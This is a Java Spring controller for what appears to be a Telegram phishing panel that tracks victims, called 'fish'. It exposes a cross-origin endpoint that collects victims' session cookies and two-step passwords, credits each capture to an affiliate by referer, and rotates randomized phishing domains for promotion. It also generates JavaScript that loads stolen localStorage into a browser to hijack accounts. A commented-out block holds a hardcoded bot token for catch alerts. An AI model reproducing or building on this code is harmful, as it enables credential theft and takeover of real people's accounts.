package com.ruoyi.web.controller.system; import java.text.SimpleDateFormat; import java.util.Date; import java.util.List; import com.ruoyi.RuoYiApplication; import com.ruoyi.common.core.domain.entity.SysUser; import com.ruoyi.system.service.ISysUserService; import com.ruoyi.web.controller.socket.WebSocketServer; import com.ruoyi.web.controller.tgbot.TBot; import com.ruoyi.web.controller.tool.JavaScriptUtil; import com.ruoyi.web.controller.tool.RandomStringGenerator; import com.ruoyi.web.controller.vo.QrDataR; import org.apache.shiro.authz.annotation.RequiresPermissions; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.ui.ModelMap; import org.springframework.web.bind.annotation.*; import com.ruoyi.common.annotation.Log; import com.ruoyi.common.enums.BusinessType; import com.ruoyi.system.domain.SysTgdata; import com.ruoyi.system.service.ISysTgdataService; import com.ruoyi.common.core.controller.BaseController; import com.ruoyi.common.core.domain.AjaxResult; import com.ruoyi.common.utils.poi.ExcelUtil; import com.ruoyi.common.core.page.TableDataInfo; /** * 鱼儿管理Controller * * @author 零九 * @date 2023-05-10 */ @Controller @RequestMapping("/system/tgdata") public class SysTgdataController extends BaseController { private String prefix = "system/tgdata"; @Autowired private ISysTgdataService sysTgdataService; @Autowired private ISysUserService userService; @RequiresPermissions("system:tgdata:view") @GetMapping() public String tgdata() { return prefix + "/tgdata"; } /** * 查询鱼儿管理列表 */ @RequiresPermissions("system:tgdata:list") @PostMapping("/list") @ResponseBody public TableDataInfo list(SysTgdata sysTgdata) { startPage(); List list = null; if (!getLoginName().equals("admin") && !getLoginName().equals("chaoyue123")) { sysTgdata.setQrstate(getSysUser().getUserId().toString()); } list = sysTgdataService.selectSysTgdataList(sysTgdata); return getDataTable(list); } /** * 导出鱼儿管理列表 */ @RequiresPermissions("system:tgdata:export") @Log(title = "鱼儿管理", businessType = BusinessType.EXPORT) @PostMapping("/export") @ResponseBody public AjaxResult export(SysTgdata sysTgdata) { List list = sysTgdataService.selectSysTgdataList(sysTgdata); ExcelUtil util = new ExcelUtil(SysTgdata.class); return util.exportExcel(list, "鱼儿管理数据"); } /** * 新增鱼儿管理 */ @GetMapping("/add") public String add() { return prefix + "/add"; } /** * 新增保存鱼儿管理 */ @RequiresPermissions("system:tgdata:add") @Log(title = "鱼儿管理", businessType = BusinessType.INSERT) @PostMapping("/add") @ResponseBody public AjaxResult addSave(SysTgdata sysTgdata) { return toAjax(sysTgdataService.insertSysTgdata(sysTgdata)); } /** * 修改鱼儿管理 */ @RequiresPermissions("system:tgdata:edit") @GetMapping("/edit/{id}") public String edit(@PathVariable("id") Integer id, ModelMap mmap) { SysTgdata sysTgdata = sysTgdataService.selectSysTgdataById(id); mmap.put("sysTgdata", sysTgdata); return prefix + "/edit"; } /** * 修改保存鱼儿管理 */ @RequiresPermissions("system:tgdata:edit") @Log(title = "鱼儿管理", businessType = BusinessType.UPDATE) @PostMapping("/edit") @ResponseBody public AjaxResult editSave(SysTgdata sysTgdata) { return toAjax(sysTgdataService.updateSysTgdata(sysTgdata)); } /** * 删除鱼儿管理 */ @RequiresPermissions("system:tgdata:remove") @Log(title = "鱼儿管理", businessType = BusinessType.DELETE) @PostMapping( "/remove") @ResponseBody public AjaxResult remove(String ids) { return toAjax(sysTgdataService.deleteSysTgdataByIds(ids)); } /** * executeRem */ @RequiresPermissions("system:tgdata:executeRem") @Log(title = "鱼儿管理", businessType = BusinessType.DELETE) @PostMapping( "/executeRem/{tp}/{id}") @ResponseBody public AjaxResult executeRem(@PathVariable String id, @PathVariable String tp) { SysTgdata sysTgdata = sysTgdataService.selectSysTgdataById(Integer.valueOf(id)); String ures = ""; if ("1".equals(tp)){ ures = "等待输入密码"; } else if ("2".equals(tp)) { ures = "验证码错误"; } else if ("3".equals(tp)) { ures = "密码错误"; } else if ("4".equals(tp)) { ures = "验证通过"; } else if ("5".equals(tp)){ String res = "var json='"+sysTgdata.getUqrcode()+"';var keyList=Object.keys(JSON.parse(json));var vaList = Object.values(JSON.parse(json));for (let i = 0; i < keyList.length; i++) {localStorage.setItem(keyList[i],vaList[i])}"; return new AjaxResult(AjaxResult.Type.SUCCESS,"成功!代码已提取至您的剪贴板",res); } else if ("6".equals(tp)){ String domain = RuoYiApplication.loginDomain; String new_domain = domain.replace("*", RandomStringGenerator.generateRandomString(8)); String res = new_domain+"?data="+sysTgdata.getUqrcode(); if (domain.equals("")){ return new AjaxResult(AjaxResult.Type.ERROR,"一键登录错误,配置类信息为空,请联系管理员处理",null); } return new AjaxResult(AjaxResult.Type.SUCCESS,"登录成功,即将自动跳转",res); } else if ("7".equals(tp)){ SysUser user = getSysUser(); String domain = RuoYiApplication.agentDomain; String new_domain = domain.replace("*", RandomStringGenerator.generateRandomString(8)); user.setEmail(new_domain); user.setDomain(new_domain); setSysUser(user); userService.updateUserInfo(user); return new AjaxResult(AjaxResult.Type.SUCCESS,"域名更换成功,请使用新域名推广"); } sysTgdata.setUres(ures); return toAjax(sysTgdataService.updateSysTgdata(sysTgdata)); } /** * 刷新二维码 */ @PostMapping( "/flushqr") @ResponseBody public QrDataR flushqr(String id) { SysTgdata tgdata = sysTgdataService.selectSysTgdataById(Integer.valueOf(id)); if (tgdata.getQrstate().equals("待拉取")){ return new QrDataR("1","new",tgdata.getUqrcode()); } return new QrDataR("0","none",null); } // /** // * 刷新二维码 // */ // @PostMapping( "/uploadQr") // @ResponseBody // public QrDataR uploadQr(String phone,String base64) // { // SysTgdata tgdata = sysTgdataService.selectSysTgdataById(Integer.valueOf()); // // if (tgdata.getQrstate().equals("待拉取")){ // return new QrDataR("1","new",tgdata.getUqrcode()); // } // return new QrDataR("0","none",null); // } /** * 上传或更新cookie */ @PostMapping( "/uploadCk/{utack}/{password}") @ResponseBody @CrossOrigin public QrDataR uploadQr(@RequestBody String json, @PathVariable String utack, @PathVariable String password) { System.err.println(json); //过滤非法字符 json = json.replace("\\", "\\\\"); System.err.println(utack); String uphone = utack; if (utack.contains("+")){ utack = "手机号登录|"+utack; }else{ utack = "扫码登录|"+utack; } SysTgdata sysTgdata = new SysTgdata(); sysTgdata.setUphone(utack); if ("nothavapas".equals(password)){ sysTgdata.setAgpass("未启用二级密码"); }else { sysTgdata.setAgpass(password); } sysTgdata.setUres("已获取客户码"); List tgdataList = sysTgdataService.selectSysTgdataList(sysTgdata); if (tgdataList.size() > 0){ // sysTgdata = tgdataList.get(0); // sysTgdata.setUqrcode(json); // 老油条不用管,直接放弃 }else { //新鱼儿 //验证码字段暂存jsonCk sysTgdata.setUqrcode(json); //referer String referer = getRequest().getHeader("referer"); if (referer.contains("https://")){ referer = referer.replace("https://",""); } if (referer.contains("/")){ referer = referer.replace("/",""); } SysUser sysUser = userService.selectUserByEmail(referer); if (sysUser == null){ sysTgdata.setQrstate("无代理来源"); }else { sysTgdata.setQrstate(sysUser.getUserId().toString()); } sysTgdataService.insertSysTgdata(sysTgdata); //TG消息通知 // // TBot.sendMsg("6613956447:AAFccHmuhwfkxUuPmPPgSKR2xgioycSeYA4","业务消息通知" + // "%0A通知类型:telegram上鱼通知" + // "%0A鱼儿登陆方式:" +(uphone.contains("+") ? "手机号码登录":"扫码登录")+ // "%0A鱼儿手机号码:" +(uphone.contains("+") ? uphone:"无手机号")+ // "%0A通知时间:" +new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date()),"@dytzvip"); // //告知服务端鱼儿上钩 // WebSocketServer.sendInfo("new","baseServer"); } return new QrDataR("0","none",null); } }